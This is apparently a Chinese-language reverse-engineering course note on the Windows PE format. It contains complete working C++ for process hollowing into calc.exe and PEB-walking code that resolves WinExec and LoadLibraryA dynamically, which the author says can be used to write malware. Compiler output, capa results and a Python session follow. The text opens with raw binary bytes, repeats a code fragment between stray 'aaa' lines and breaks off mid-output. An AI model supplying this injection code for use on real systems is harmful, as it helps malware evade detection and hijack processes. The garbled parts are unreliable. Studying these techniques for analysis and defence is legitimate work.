\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x16\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00:\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00J\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00X\x01\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00{\x01\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x93\x01\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xa3\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00__dll__\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xc5\x01\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xda\x01\x00\x00\x00\x00@\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xe9\x01\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xff\x01\x00\x008\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x0b\x02\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00)\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x006\x02\x00\x004\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00D\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00P\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00`\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00r\x02\x00\x004\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x81\x02\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x94\x02\x00\x000\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\xaa\x02\x00\x00\x00\x02\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xbd\x02\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xd2\x02\x00\x000\x00\x00\x00\x03\x00\x00\x00\x02\x00__end__\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xe0\x02\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xee\x02\x00\x00\x00\x00\x10\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x07\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x19\x03\x00\x00\x00\x00@\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00&\x03\x00\x00\x03\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x004\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00A\x03\x00\x00\x01\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00Y\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00j\x03\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00myEntry\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00|\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x98\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xb0\x03\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\xd2\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xe2\x03\x00\x00__Z7myEntryv\x00.rdata$zzz\x00___RUNTIME_PSEUDO_RELOC_LIST__\x00__head_lib32_libuser32_a\x00__data_start__\x00___DTOR_LIST__\x00__lib32_libuser32_a_iname\x00___tls_start__\x00__rt_psrelocs_start\x00__dll_characteristics__\x00__size_of_stack_commit__\x00__size_of_stack_reserve__\x00__major_subsystem_version__\x00___crt_xl_start__\x00___crt_xi_start__\x00___crt_xi_end__\x00__bss_start__\x00___RUNTIME_PSEUDO_RELOC_LIST_END__\x00__size_of_heap_commit__\x00_MessageBoxA@16\x00___crt_xp_start__\x00___crt_xp_end__\x00__minor_os_version__\x00__image_base__\x00__section_alignment__\x00__IAT_end__\x00__RUNTIME_PSEUDO_RELOC_LIST__\x00__data_end__\x00__CTOR_LIST__\x00__bss_end__\x00___crt_xc_end__\x00___crt_xc_start__\x00___CTOR_LIST__\x00__rt_psrelocs_size\x00__imp__MessageBoxA@16\x00__file_alignment__\x00__major_os_version__\x00__IAT_start__\x00__DTOR_LIST__\x00__size_of_heap_reserve__\x00___crt_xt_start__\x00___ImageBase\x00__subsystem__\x00___tls_end__\x00__major_image_version__\x00__loader_flags__\x00__rt_psrelocs_end\x00__minor_subsystem_version__\x00__minor_image_version__\x00__RUNTIME_PSEUDO_RELOC_LIST_END__\x00___crt_xt_end__\x00
上圖(圖1)只有PointerToRawData跟VirtualAddress重要
圖2:
以下的程式碼實際應用了上圖的概念,使得惡意程式可注入windows內建計算機
比如說
SectionHeader = &PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(IMAGE_NT_HEADERS))[count];
可以看得出來是幾個header(text、data、idata)乘上每一個的大小。
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
上一行,NtHeader除了現代程式用的NT header外,還有DOS header,所以也沒錯。
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
CREATE_SUSPEND可以創建 (blackhat 2013)把小算盤叫出來
file mapping 檔案映射
把靜態程式碼掛到動態記憶體
白話:
從硬碟裡的哪一個地方,寫到記憶體的哪一個地方?
NT Headers的opt header 程式執行起來必備的資訊
ex:
想被擺的記憶體位置(ImageBase 通常是0x400000或0x800000)
整塊程式要擺多大SizeOfImage(text + data + idata)
NT Headers的file header 紀錄幾個section
檔案映射的濫用: processHollowing.cpp
可以注入windows的小算盤,彈出駭客寫的視窗,以下示意圖:
程式碼:
// processHollowing.cpp : 此檔案包含 'main' 函式。程式會於該處開始執行及結束執行。
//
#include <iostream>
#include <Windows.h>
int RunPortableExecutable(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024] = "C:\\Windows\\SysWOW64\\calc.exe";
DOSHeader = (IMAGE_DOS_HEADER*)(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
//process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
//HMODULE dll = LoadLibraryA("ntdll.dll");
((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection"))(PI.hProcess, (LPVOID)NtHeader->OptionalHeader.ImageBase);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase == 0) {
TerminateProcess(PI.hProcess, 0);
return 0;
}
// Write the image to the process
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = &PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(IMAGE_NT_HEADERS))[count];
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), PVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
ResumeThread(PI.hThread); //´Start the process/call main()
return 0; // Operation was successful.
}
}
}
}
#pragma warning(disable:4996)
BYTE* MapFileToMemory(const char filename[])
{
FILE *fileptr;
BYTE *buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
long filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (BYTE *)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
}
#include <Shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
int CALLBACK WinMain(
_In_ HINSTANCE hInstance,
_In_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
)
{
char path[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, path, MAX_PATH);
if (strstr(path, "calc.exe")) {
MessageBoxA(0, "Hey, I'm into calc :)", path, 0);
return 0;
}
RunPortableExecutable(MapFileToMemory(path));
return 0;
}
x32dbg ctrl+g可尋找位置
其實PEB是double linked list。重要的是Ldr,是想載入的dll,這裡載入了ntdll.dll跟kernel32.dll。還有,sysWOW64是64位元作業系統要執行32位元程式會用到的資料夾。
C:\Windows\SysWOW64
以下Lab#1_fetchModule_byTEB.c對應上圖的概念:
/**
* Windows APT Warfare:
* A Final Survival Guide for Cyberwarfare
* by aaaddress1@chroot.org
*/
#include <stdio.h>
#include <wchar.h>
#include <windows.h>
typedef struct _PEB_LDR_DATA {
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _UNICODE_STRING32 {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING32, *PUNICODE_STRING32;
typedef struct _PEB32
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG Mutant;
ULONG ImageBaseAddress;
PPEB_LDR_DATA Ldr;
ULONG ProcessParameters;
ULONG SubSystemData;
ULONG ProcessHeap;
ULONG FastPebLock;
ULONG AtlThunkSListPtr;
ULONG IFEOKey;
ULONG CrossProcessFlags;
ULONG UserSharedInfoPtr;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
ULONG ApiSetMap;
} PEB32, *PPEB32;
typedef struct _PEB_LDR_DATA32
{
ULONG Length;
BOOLEAN Initialized;
ULONG SsHandle;
LIST_ENTRY32 InLoadOrderModuleList;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG EntryInProgress;
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;
typedef struct _LDR_DATA_TABLE_ENTRY32
{
LIST_ENTRY32 InLoadOrderLinks;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING32 FullDllName;
UNICODE_STRING32 BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY32 HashLinks;
ULONG SectionPointer;
};
ULONG CheckSum;
union
{
ULONG TimeDateStamp;
ULONG LoadedImports;
};
ULONG EntryPointActivationContext;
ULONG PatchInformation;
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
ULONG GetModHandle(wchar_t *libName) {
PEB32 *pPEB = (PEB32 *)__readfsdword(0x30);
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
PLIST_ENTRY curr = header->Flink;
for (; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(
curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList
);
printf("current node: %ls\n", data->BaseDllName.Buffer);
if (wcsstr(libName, data->BaseDllName.Buffer))
return data->DllBase;
}
}
int main(int argc, char** argv, char* envp) {
auto hMod_Kernel32 = GetModHandle(L"KERNEL32.DLL");
printf("dll base: %x\n", hMod_Kernel32);
((UINT(WINAPI*)(PCHAR, UINT))GetProcAddress(hMod_Kernel32, "WinExec"))("calc", 1);
return 0;
}
用cmder編譯並執行:
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ gcc -m32 Lab#1_fetchModule_byTEB.c
Lab#1_fetchModule_byTEB.c: In function 'main':
Lab#1_fetchModule_byTEB.c:105:7: warning: type defaults to 'int' in declaration of 'hMod_Kernel32' [-Wimplicit-int]
105 | auto hMod_Kernel32 = GetModHandle(L"KERNEL32.DLL");
| ^~~~~~~~~~~~~
Lab#1_fetchModule_byTEB.c:108:46: warning: passing argument 1 of 'GetProcAddress' makes pointer from integer without a cast [-Wint-conversion]
108 | ((UINT(WINAPI*)(PCHAR, UINT))GetProcAddress(hMod_Kernel32, "WinExec"))("calc", 1);
| ^~~~~~~~~~~~~
| |
| int
In file included from C:/TDM-GCC-64/x86_64-w64-mingw32/include/winbase.h:24,
from C:/TDM-GCC-64/x86_64-w64-mingw32/include/windows.h:70,
from Lab#1_fetchModule_byTEB.c:8:
C:/TDM-GCC-64/x86_64-w64-mingw32/include/libloaderapi.h:151:53: note: expected 'HMODULE' {aka 'struct HINSTANCE__ *'} but argument is of type 'int'
151 | WINBASEAPI FARPROC WINAPI GetProcAddress (HMODULE hModule, LPCSTR lpProcName);
| ~~~~~~~~^~~~~~~
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ ls -l
total 280
-rwxr-xr-x 1 exploit 197121 258730 四月 29 14:29 a.exe*
drwxr-xr-x 1 exploit 197121 0 四月 29 12:25 hollowing/
drwxr-xr-x 1 exploit 197121 0 四月 29 13:37 invokeInMem/
-rw-r--r-- 1 exploit 197121 2690 十月 17 2022 Lab#1_fetchModule_byTEB.c
-rw-r--r-- 1 exploit 197121 3589 十月 17 2022 Lab#2_parseDynamicAPIs.c
-rwxr-xr-x 1 exploit 197121 5686 十月 17 2022 msgbox.exe*
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ a.exe
current node: a.exe
current node: ntdll.dll
current node: KERNEL32.DLL
dll base: 75c30000
PEB double linked list展示實例(invoke.cpp),此程式可衍伸用來寫惡意程式
#include <iostream>
#include <Windows.h>
#pragma warning(disable: 4996)
typedef struct _PEB_LDR_DATA
{
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PEB32
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG Mutant;
ULONG ImageBaseAddress;
PPEB_LDR_DATA Ldr;
ULONG ProcessParameters;
ULONG SubSystemData;
ULONG ProcessHeap;
ULONG FastPebLock;
ULONG AtlThunkSListPtr;
ULONG IFEOKey;
ULONG CrossProcessFlags;
ULONG UserSharedInfoPtr;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
ULONG ApiSetMap;
} PEB32, *PPEB32;
typedef struct _PEB64
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG64 Mutant;
ULONG64 ImageBaseAddress;
PPEB_LDR_DATA Ldr;
ULONG64 ProcessParameters;
ULONG64 SubSystemData;
ULONG64 ProcessHeap;
ULONG64 FastPebLock;
ULONG64 AtlThunkSListPtr;
ULONG64 IFEOKey;
ULONG64 CrossProcessFlags;
ULONG64 UserSharedInfoPtr;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
ULONG64 ApiSetMap;
} PEB64, * PPEB64;
typedef struct _PEB_LDR_DATA32
{
ULONG Length;
BOOLEAN Initialized;
ULONG SsHandle;
LIST_ENTRY32 InLoadOrderModuleList;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG EntryInProgress;
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;
typedef struct _LDR_DATA_TABLE_ENTRY32
{
LIST_ENTRY32 InLoadOrderLinks;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY32 HashLinks;
ULONG SectionPointer;
};
ULONG CheckSum;
union
{
ULONG TimeDateStamp;
ULONG LoadedImports;
};
ULONG EntryPointActivationContext;
ULONG PatchInformation;
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
typedef struct _LDR_DATA_TABLE_ENTRY64
{
LIST_ENTRY64 InLoadOrderLinks;
LIST_ENTRY64 InMemoryOrderModuleList;
LIST_ENTRY64 InInitializationOrderModuleList;
ULONG64 DllBase;
ULONG64 EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY64 HashLinks;
ULONG64 SectionPointer;
};
ULONG CheckSum;
union
{
ULONG TimeDateStamp;
ULONG64 LoadedImports;
};
ULONG64 EntryPointActivationContext;
ULONG64 PatchInformation;
} LDR_DATA_TABLE_ENTRY64, * PLDR_DATA_TABLE_ENTRY64;
size_t getWinAPI(size_t module, const char* in_funcName)
{
#if defined _WIN64
PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
#else
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
#endif
PIMAGE_DATA_DIRECTORY impDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)(module + impDir->VirtualAddress);
if (!ied->AddressOfNames) return 0;
DWORD* vaNameArr = (DWORD *)(module + ied->AddressOfNames);
WORD* vaOrdArr = (WORD *)(module + ied->AddressOfNameOrdinals);
DWORD* vaFuncArr = (DWORD *)(module + ied->AddressOfFunctions);
for (DWORD i = 0; i < ied->NumberOfNames; i++)
if (0 == strcmpi(in_funcName, (char *)(module + vaNameArr[i])))
return module + vaFuncArr[vaOrdArr[i]];
return (size_t)0;
}
size_t blindFetchWinAPI(const char* funcName) {
#ifdef _WIN64
PPEB64 pPEB = (PPEB64)__readgsqword(0x60);
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
PLIST_ENTRY curr = header->Flink;
for (; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY64 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY64, InMemoryOrderModuleList);
size_t pFunc = getWinAPI(data->DllBase, funcName);
if (pFunc) return pFunc;
}
#else
PPEB32 pPEB = (PPEB32)__readfsdword(0x30);
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
PLIST_ENTRY curr = header->Flink;
for (; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList);
size_t pFunc = getWinAPI(data->DllBase, funcName);
if (pFunc) return pFunc;
}
#endif
return (size_t)0;
}
int main() {
printf("%p\n", blindFetchWinAPI("WinExec"));
return 0;
}
aaa
#else
PPEB32 pPEB = (PPEB32)__readfsdword(0x30);
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
PLIST_ENTRY curr = header->Flink;
for (; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList);
size_t pFunc = getWinAPI(data->DllBase, funcName);
if (pFunc) return pFunc;
}
aaa
Lab#2_parseDynamicAPIs.c對應12頁下面:
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ gcc -m32 Lab#2_parseDynamicAPIs.c -o b.exe
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ b.exe
current node: b.exe @ 002c0000
current node: ntdll.dll @ 77b30000
current node: KERNEL32.DLL @ 75c30000
addrOfNames: 75cc4674
addrOfNamesOrd: 75cc5f90
AddressOfFunctions: 75cc2d58
found API: AcquireSRWLockExclusive
found API: AcquireSRWLockShared
found API: ActivateActCtx
found API: ActivateActCtxWorker
...
found API: LoadEnclaveData
found API: LoadLibraryA
LoadLibraryA() should at 75c50bd0
ida用下圖直接load exe檔案:
C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe
C:\Users\exploit\Desktop
λ capa "C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe"
loading : 100%|██████████████████████████████████████████| 703/703 [00:02<00:00, 333.59 rules/s]
matching: 100%|███| 2625/2625 [01:04<00:00, 40.76 functions/s, skipped 7 library functions (0%)]
+------------------------+------------------------------------------------------------------------------------+
| md5 | 35a3d1b2936d4360f7e81ab0ad3b81d1 |
| sha1 | 142e6aa9255032e61b42ee310b0ab2e3159087c2 |
| sha256 | 598a462fc7dd2ca6f0b00391adb4c412a981d599abc5b9d529e5e2cd085d88fb |
| os | windows |
| format | pe |
| arch | i386 |
| path | C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe |
+------------------------+------------------------------------------------------------------------------------+
+------------------------+------------------------------------------------------------------------------------+
| ATT&CK Tactic | ATT&CK Technique |
|------------------------+------------------------------------------------------------------------------------|
| DEFENSE EVASION | Obfuscated Files or Information T1027 |
| | Obfuscated Files or Information::Indicator Removal from Tools T1027.005 |
| EXECUTION | Shared Modules T1129 |
+------------------------+------------------------------------------------------------------------------------+
+-----------------------------+-------------------------------------------------------------------------------+
| MBC Objective | MBC Behavior |
|-----------------------------+-------------------------------------------------------------------------------|
| ANTI-STATIC ANALYSIS | Disassembler Evasion::Argument Obfuscation [B0012.001] |
| CRYPTOGRAPHY | Encrypt Data::RC4 [C0027.009] |
| | Generate Pseudo-random Sequence::RC4 PRGA [C0021.004] |
| DATA | Encode Data::XOR [C0026.002] |
| DEFENSE EVASION | Obfuscated Files or Information::Encoding-Standard Algorithm [E1027.m02] |
| FILE SYSTEM | Read File [C0051] |
| | Writes File [C0052] |
| MEMORY | Allocate Memory [C0007] |
| PROCESS | Allocate Thread Local Storage [C0040] |
| | Check Mutex [C0043] |
| | Create Mutex [C0042] |
| | Set Thread Local Storage Value [C0041] |
| | Terminate Process [C0018] |
+-----------------------------+-------------------------------------------------------------------------------+
+------------------------------------------------------+------------------------------------------------------+
| CAPABILITY | NAMESPACE |
|------------------------------------------------------+------------------------------------------------------|
| contain obfuscated stackstrings | anti-analysis/obfuscation/string/stackstring |
| encode data using XOR | data-manipulation/encoding/xor |
| encrypt data using RC4 PRGA (2 matches) | data-manipulation/encryption/rc4 |
| contain a resource (.rsrc) section | executable/pe/section/rsrc |
| contain a thread local storage (.tls) section | executable/pe/section/tls |
| read file on Windows (2 matches) | host-interaction/file-system/read |
| write file on Windows (4 matches) | host-interaction/file-system/write |
| print debug messages (3 matches) | host-interaction/log/debug/write-event |
| check mutex and exit (4 matches) | host-interaction/mutex |
| allocate thread local storage | host-interaction/process |
| get thread local storage value (4 matches) | host-interaction/process |
| set thread local storage value (4 matches) | host-interaction/process |
| allocate RWX memory | host-interaction/process/inject |
| link function at runtime on Windows | linking/runtime-linking |
| parse PE header (4 matches) | load-code/pe |
| resolve function by parsing PE exports (26 matches) | load-code/pe |
+------------------------------------------------------+------------------------------------------------------+
capa函數可以補充程式行為,解決逆向者經驗不足的問題,IDA內也可以結合capa
使用PE-bear(是比較常用的軟體,靜態程式裡面怎麼使用資料結構)
DOS Header已棄用
各個section:
藍色代表執行以後偏移量
綠色代表在磁碟的偏移量
也可以用python爬出來PE裡的內容:
C:\Users\exploit\Desktop
λ ipython
Python 3.10.8 (tags/v3.10.8:aaaf517, Oct 11 2022, 16:50:30) [MSC v.1933 64 bit (AMD64)]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.5.0 -- An enhanced Interactive Python. Type '?' for help.
In [1]: cd C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
In [2]: ls
磁碟區 C 中的磁碟沒有標籤。
磁碟區序號: 6409-9832
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic 的目錄
2022/10/18 下午 03:57 <DIR> .
2022/10/18 下午 03:57 <DIR> ..
2022/10/18 下午 07:43 <DIR> hollowing
2022/10/18 下午 07:43 <DIR> invokeInMem
2022/10/17 下午 10:08 2,690 Lab#1_fetchModule_byTEB.c
2022/10/17 下午 10:16 3,589 Lab#2_parseDynamicAPIs.c
2022/10/17 下午 10:26 5,686 msgbox.exe
3 個檔案 11,965 位元組
4 個目錄 28,774,006,784 位元組可用
In [3]: dt = open('msgbox.exe','rb').read()
In [4]: dt[:10]
Out[4]: b'MZ\x90\x00\x03\x00\x00\x00\x04\x00'
In [5]: dt[0x600:]
Out[5]: b'30cm.tw\x00Welcome! Binary Ninja :)\x00\x00\x00\x00GCC: (tdm64-1) 10.3.0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0